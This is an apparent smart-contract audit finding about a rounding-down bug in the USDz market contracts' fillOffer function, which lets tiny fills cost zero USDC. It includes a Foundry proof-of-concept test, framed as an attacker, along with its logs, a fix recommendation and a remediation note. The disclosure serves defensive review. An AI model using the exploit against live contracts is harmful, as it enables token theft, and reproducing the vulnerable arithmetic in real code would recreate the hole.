Category: Business Logic
Rounding issue in USDz markets
High Severity
Low Impact
Low Likelihood
Description
In MainnetUSDzMarket and LockedUsdzMarket, the function fillOffer
invokes calculateRequiredUSDC
to calculate requiredUSDC
by amount.
function fillOffer(uint256 offerId, uint256 usdzAmount) external nonReentrant {
Offer storage offer = offers[offerId];
require(usdzAmount <= offer.amount, "Requested amount too large");
require(usdzAmount > 0, "Amount must be greater than 0");
uint256 requiredUSDC = calculateRequiredUSDC(usdzAmount, offer.askPrice);
// ...
// ...
}
function calculateRequiredUSDC(uint256 usdzAmount, uint256 askPrice) public pure returns (uint256) {
require(askPrice <= 1e6, "Ask price must be <= 1");
uint256 usdzAmountInUSDCDecimals = usdzAmount / 1e12;
return (usdzAmountInUSDCDecimals * askPrice) / 1e6;
}
However, if usdzAmount
is small, requiredUSDC
could be zero by rounding down.
Impact
A malicious user could get USDz tokens without paying USDC tokens. The following proof-of-concept script demonstrates that the attacker could obtain a small amount of USDz tokens without paying USDC tokens.
function testAuditRoundingIssue() public {
uint256 offerAmount = 200e18;
uint256 askPrice = 0.99e6;
vm.prank(user1);
market.createOffer(1, offerAmount, askPrice);
uint256 fillAmount = 2e12-1;
uint256 requiredUSDC = market.calculateRequiredUSDC(fillAmount, askPrice);
uint256 balanceBefore = lockedUsdz.balanceOf(user2, 1);
console2.log("Attacker's USDZ balance before fillOffer:",balanceBefore);
vm.startPrank(user2); // attacker
market.fillOffer(0, fillAmount);
vm.stopPrank();
uint256 balanceAfter = lockedUsdz.balanceOf(user2, 1);
console2.log("requiredUSDC: ",requiredUSDC);
console2.log("fillAmount for USDz: ",fillAmount);
console2.log("Attacker's USDZ balance after fillOffer: ",balanceAfter);
}
The following text is the result of the proof-of-concept script:
[PASS] testAuditRoundingIssue() (gas: 305129)
Logs:
Attacker's USDZ balance before fillOffer: 2000000000000000000000
requiredUSDC: 0
fillAmount for USDz: 1999999999999
Attacker's USDZ balance after fillOffer: 2000000001999999999999
Recommendations
Check if the result of calculateRequiredUSDC
is greater than zero.
Remediation
This issue has been acknowledged by Anzen Labs Inc., and a fix was implemented in commit 929c5a4c↗.